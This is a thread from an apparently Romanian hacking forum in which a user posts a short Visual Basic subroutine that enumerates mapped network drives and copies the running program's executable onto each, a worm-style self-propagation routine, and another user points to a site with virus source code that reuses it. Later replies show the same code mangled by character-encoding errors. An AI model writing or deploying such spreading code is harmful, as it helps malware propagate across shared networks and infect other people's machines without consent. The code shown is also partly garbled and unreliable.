Icarius Posted May 30, 2006 Report Share Posted May 30, 2006 Aceasta subrutina multiplica executabilul in folderele de pe retea Daca aveti alte intrebari nu ezitati sa ma contactati Credits: ICARIUSPublic Sub LocalNetwork()On Error Resume NextDim A, B, CSet A = CreateObject("WScript.Network")Set B = A.EnumNetworkDrivesIf B.Count <> 0 Then   For C = 0 To B.Count - 1     If InStr(B.Item(C), "") <> 0 Then       FileCopy App.Path & "" & App.EXEName & ".exe", B.Item(C)     End If   NextEnd IfEnd Sub Quote Link to comment Share on other sites More sharing options...
Smiley Posted May 30, 2006 Report Share Posted May 30, 2006 explica si mie unde ce si cum trebuie sa pun codu asta de tine . nu am facut asa ceva pana acu si mi-ar prinde bine o mik mik explicatie . Quote Link to comment Share on other sites More sharing options...
Icarius Posted May 30, 2006 Author Report Share Posted May 30, 2006 pai codul asta il pui intr-un program :@ daca nu stii VB nu prea te ajuta cu nimica. o sa pun in curand niste tutoriale VB pentru incepatori si pentru avansati Quote Link to comment Share on other sites More sharing options...
Cracknel Posted June 2, 2006 Report Share Posted June 2, 2006 icarius? esti raul de pe wbb?daca va intereseaza un cod sursa de virus creat in vb intrati pewww.cracknel.go.rofoloseste si codul de mai sus Quote Link to comment Share on other sites More sharing options...
Icarius Posted June 2, 2006 Author Report Share Posted June 2, 2006 Cracknel esti Cracknel de pe wbb?pai cine crezi ca ti-a trimis mass-u ala pe mess ? :@ Quote Link to comment Share on other sites More sharing options...
TBone Posted June 2, 2006 Report Share Posted June 2, 2006 o sa pun in curand niste tutoriale VB pentru incepatori si pentru avansatiasta astept eu :@ Quote Link to comment Share on other sites More sharing options...
Smiley Posted June 2, 2006 Report Share Posted June 2, 2006 <div class='quotetop'>QUOTE("icarius")</div>pai codul asta il pui intr-un program  :@  daca nu stii VB nu prea te ajuta cu nimica. o sa pun in curand niste tutoriale VB pentru incepatori si pentru avansati  ok ms mult . Sper ca vorbesti de Visual Basic ca mai ma descurc si eu prin el :@ Quote Link to comment Share on other sites More sharing options...
XAnother Posted November 11, 2010 Report Share Posted November 11, 2010 www.trpro.net Quote Link to comment Share on other sites More sharing options...
Krisler12™ Posted November 11, 2010 Report Share Posted November 11, 2010 Daca aveti alte intrebari nu ezitati sa ma contactati ÂÂÂÂ* ÂÂÂÂ*For C = 0 To B.Count - 1 ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ*If InStr(B.Item©, "") <> 0 Then ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ*FileCopy App.Path & "" & App.EXEName & ".exe", B.Item© ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ*End If ÂÂÂÂ* ÂÂÂÂ*NextDecripteaza asta te rog, vreau VB pur si nu criptografie, ca sa pot intelege.Multumesc ! Quote Link to comment Share on other sites More sharing options...
smagazor Posted November 14, 2010 Report Share Posted November 14, 2010 Daca erai intradevar interesat de subiect, sesizai faptul ca postul e facut in mai 2006 si ca defapt era Visual Basic pur si nu criptografie, insa au aparut caracterele astea probabil datorita updateului facut la forum. In orice caz e legat de charsetul folosit.smagazor Quote Link to comment Share on other sites More sharing options...
Krisler12™ Posted November 14, 2010 Report Share Posted November 14, 2010 Daca erai intradevar interesat de subiect, sesizai faptul ca postul e facut in mai 2006 si ca defapt era Visual Basic pur si nu criptografie, insa au aparut caracterele astea probabil datorita updateului facut la forum. In orice caz e legat de charsetul folosit.smagazor M-am uitat doar la ultimul post, care era recent.... Quote Link to comment Share on other sites More sharing options...